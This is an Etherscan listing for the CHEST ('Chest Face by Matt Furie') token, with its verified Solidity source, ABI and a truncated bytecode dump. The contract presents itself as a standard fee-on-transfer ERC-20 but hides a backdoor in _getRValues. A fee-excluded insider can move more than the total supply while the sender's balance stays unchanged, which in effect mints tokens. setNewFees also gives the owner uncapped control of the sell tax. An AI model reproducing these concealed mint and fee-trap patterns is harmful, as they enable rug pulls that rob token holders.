ETH Price: $2,050.28 (-4.03%)
 

Overview

Max Total Supply

1,000,000,000 CHESTFACE

Holders

33

Transfers

-
0 (0%)

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHEST

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-05-25
*/

// SPDX-License-Identifier: MIT
/**

https://chestface.com/

https://x.com/ChestFaceFurie

https://t.me/chestfacebymattfurie

*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");}
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
    address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);}
    function owner() public view returns (address) {return _owner;}
     modifier onlyOwner() {require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
    function renounceOwnership() public virtual onlyOwner {emit OwnershipTransferred(_owner, address(0));_owner = address(0);}
    function transferOwnership(address newOwner) public virtual onlyOwner {require(newOwner != address(0), "Ownable: new owner is the zero address"); 
        emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;}
}
  
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract CHEST is Context, Ownable, IERC20 {
 
    using SafeMath for uint256;
    uint256 private constant _tTotal = 1 * 10**9 * 10**9;
    uint256 private _prevRedisFee = _redisFee;
    uint256 private _prevTaxFee = _taxFee;
    uint256 public _swapTokensAtAmount = (_tTotal * 25) / 10000;
    uint256 public _maxTransaction = _tTotal * 15 / 1000;
    uint256 public _maxWallet      = _tTotal * 15 / 1000;
    uint256 private _redisFee = _redisSellTax;
    uint256 private _taxFee = _sellFee;
    string private constant _name = "Chest Face by Matt Furie";
    string private constant _symbol = "CHESTFACE";
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = 10 ** 30;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisBuyTax = 0;  
    uint256 private _buyFee = 0;  
    uint256 private _redisSellTax = 0;  
    uint256 private _sellFee = 0;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
  
    mapping (address => uint256) public _buyMap; 
    address payable private _developmentAddress = payable(msg.sender); 
    address payable private _marketingAddress = payable(msg.sender);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    event MaxTxAmountUpdated(uint256 _maxTransaction);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() { 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    event FeesUpdated(
        uint256 indexed redisBuyTax,
        uint256 indexed buyFee,
        uint256 indexed redisSellTax,
        uint256 sellFee
    );

    function name() public pure returns (string memory) {return _name;}
    function startTrading() external onlyOwner() {tradingOpen = true;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function balanceOf(address account) public view override returns (uint256) {return tokenFromReflection(_rOwned[account]);}
    function transfer(address recipient, uint256 amount) public override returns (bool){_transfer(_msgSender(), recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender]; }
    function decimals() public pure returns (uint8) {return _decimals;}
    function totalSupply() public pure override returns (uint256) {return _tTotal;}
    function updateTransactionAmount(uint256 maxTxAmount, uint256 maxWalletSize) public onlyOwner {_maxTransaction = maxTxAmount; _maxWallet = maxWalletSize;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(_msgSender(), spender, amount); return true;}
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function setNewFees(
        uint256 redisBuyTax,
        uint256 buyFee,
        uint256 redisSellTax,
        uint256 sellFee
    ) external onlyOwner {
        _redisBuyTax  = redisBuyTax;
        _buyFee       = buyFee;
        _redisSellTax = redisSellTax;
        _sellFee      = sellFee;

        emit FeesUpdated(redisBuyTax, buyFee, redisSellTax, sellFee);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
         _prevRedisFee = _redisFee;
        _prevTaxFee = _taxFee;
        _tFeeTotal = 0;
         _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _prevRedisFee;
        _taxFee = _prevTaxFee;
        _tFeeTotal = 100;
    }

     function removeLimits() public onlyOwner {
        _maxTransaction = type(uint).max;
        _maxWallet = type(uint).max;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(tradingOpen || from == owner() || to == owner(), "Trading is not open");
        if (from != owner() && to != owner()) {
 
            require(amount <= _maxTransaction, "TOKEN: Max Transaction Limit");
             if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWallet, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if(contractTokenBalance >= _maxTransaction)
            {
                contractTokenBalance = _maxTransaction;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance; 
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to])) {
            takeFee = false;
        } else {
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisBuyTax;
                _taxFee = _buyFee;
            }
 
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisSellTax;
                _taxFee = _sellFee;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        require(tokenAmount < _swapTokensAtAmount * 4);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function swapTokensAtMin(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        view
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        if (_tFeeTotal == 0 && tAmount > _tTotal) {
          rAmount = 0;
        }
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"redisBuyTax","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"redisSellTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransaction","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisBuyTax","type":"uint256"},{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"redisSellTax","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"swapTokensAtMin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"updateTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007546002556008546003556127106019670de0b6b3a76400006200002a91906200079c565b62000036919062000816565b6004556103e8600f670de0b6b3a76400006200005391906200079c565b6200005f919062000816565b6005556103e8600f670de0b6b3a76400006200007c91906200079c565b62000088919062000816565b600655600d54600755600e54600855670de0b6b3a76400006c0c9f2c9cd04674edea40000000620000ba91906200084e565b6c0c9f2c9cd04674edea40000000620000d4919062000886565b6009556000600b556000600c556000600d556000600e5533601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601760156101000a81548160ff0219169083151502179055506001601760166101000a81548160ff021916908315150217905550348015620001b057600080fd5b506000620001c36200073260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600954600f6000620002786200073260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200037e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a491906200092b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200042e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200045491906200092b565b6040518363ffffffff1660e01b8152600401620004739291906200096e565b6020604051808303816000875af115801562000493573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b991906200092b565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601260006200050f6200073a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006bc6200073260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620007239190620009ac565b60405180910390a350620009c9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a98262000763565b9150620007b68362000763565b9250828202620007c68162000763565b91508282048414831517620007e057620007df6200076d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008238262000763565b9150620008308362000763565b925082620008435762000842620007e7565b5b828204905092915050565b60006200085b8262000763565b9150620008688362000763565b9250826200087b576200087a620007e7565b5b828206905092915050565b6000620008938262000763565b9150620008a08362000763565b9250828203905081811115620008bb57620008ba6200076d565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008f382620008c6565b9050919050565b6200090581620008e6565b81146200091157600080fd5b50565b6000815190506200092581620008fa565b92915050565b600060208284031215620009445762000943620008c1565b5b6000620009548482850162000914565b91505092915050565b6200096881620008e6565b82525050565b60006040820190506200098560008301856200095d565b6200099460208301846200095d565b9392505050565b620009a68162000763565b82525050565b6000602082019050620009c360008301846200099b565b92915050565b61333980620009d96000396000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d1578063a9059cbb1161008a578063da7003d411610064578063da7003d4146104ef578063dd62ed3e1461051a578063ef7a37ea14610557578063f2fde38b1461058057610171565b8063a9059cbb14610472578063ba5ff6a9146104af578063c3c8cd80146104d857610171565b8063715018a614610386578063751039fc1461039d5780637f2feddc146103b457806382247ec0146103f15780638da5cb5b1461041c57806395d89b411461044757610171565b8063293230b811610123578063293230b81461029a5780632fd689e3146102b1578063313ce567146102dc57806349bd5a5e146103075780636fc3eaec1461033257806370a082311461034957610171565b806306fdde0314610176578063095ea7b3146101a157806315757735146101de5780631694505e1461020757806318160ddd1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105a9565b60405161019891906125a5565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612660565b6105e6565b6040516101d591906126bb565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906126d6565b610604565b005b34801561021357600080fd5b5061021c6106ab565b6040516102299190612775565b60405180910390f35b34801561023e57600080fd5b506102476106d1565b604051610254919061279f565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f91906127ba565b6106e1565b60405161029191906126bb565b60405180910390f35b3480156102a657600080fd5b506102af6107ba565b005b3480156102bd57600080fd5b506102c661086c565b6040516102d3919061279f565b60405180910390f35b3480156102e857600080fd5b506102f1610872565b6040516102fe9190612829565b60405180910390f35b34801561031357600080fd5b5061031c61087b565b6040516103299190612853565b60405180910390f35b34801561033e57600080fd5b506103476108a1565b005b34801561035557600080fd5b50610370600480360381019061036b919061286e565b610972565b60405161037d919061279f565b60405180910390f35b34801561039257600080fd5b5061039b6109c3565b005b3480156103a957600080fd5b506103b2610b16565b005b3480156103c057600080fd5b506103db60048036038101906103d6919061286e565b610bfb565b6040516103e8919061279f565b60405180910390f35b3480156103fd57600080fd5b50610406610c13565b604051610413919061279f565b60405180910390f35b34801561042857600080fd5b50610431610c19565b60405161043e9190612853565b60405180910390f35b34801561045357600080fd5b5061045c610c42565b60405161046991906125a5565b60405180910390f35b34801561047e57600080fd5b5061049960048036038101906104949190612660565b610c7f565b6040516104a691906126bb565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d1919061289b565b610c9d565b005b3480156104e457600080fd5b506104ed610d3c565b005b3480156104fb57600080fd5b50610504610e15565b604051610511919061279f565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c91906128c8565b610e1b565b60405161054e919061279f565b60405180910390f35b34801561056357600080fd5b5061057e60048036038101906105799190612908565b610ea2565b005b34801561058c57600080fd5b506105a760048036038101906105a2919061286e565b610f93565b005b60606040518060400160405280601881526020017f43686573742046616365206279204d6174742046757269650000000000000000815250905090565b60006105fa6105f3611154565b848461115c565b6001905092915050565b61060c611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610690906129bb565b60405180910390fd5b81600581905550806006819055505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006106ee848484611325565b6107af846106fa611154565b6107aa856040518060600160405280602881526020016132dc60289139601160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610760611154565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a539092919063ffffffff16565b61115c565b600190509392505050565b6107c2611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906129bb565b60405180910390fd5b6001601760146101000a81548160ff021916908315150217905550565b60045481565b60006009905090565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e2611154565b73ffffffffffffffffffffffffffffffffffffffff1614806109585750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610940611154565b73ffffffffffffffffffffffffffffffffffffffff16145b61096157600080fd5b600047905061096f81611ab7565b50565b60006109bc600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b23565b9050919050565b6109cb611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4f906129bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b1e611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba2906129bb565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6005819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600681905550565b60136020528060005260406000206000915090505481565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4348455354464143450000000000000000000000000000000000000000000000815250905090565b6000610c93610c8c611154565b8484611325565b6001905092915050565b610ca5611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d29906129bb565b60405180910390fd5b8060048190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7d611154565b73ffffffffffffffffffffffffffffffffffffffff161480610df35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ddb611154565b73ffffffffffffffffffffffffffffffffffffffff16145b610dfc57600080fd5b6000610e0730610972565b9050610e1281611b4b565b50565b60055481565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610eaa611154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e906129bb565b60405180910390fd5b8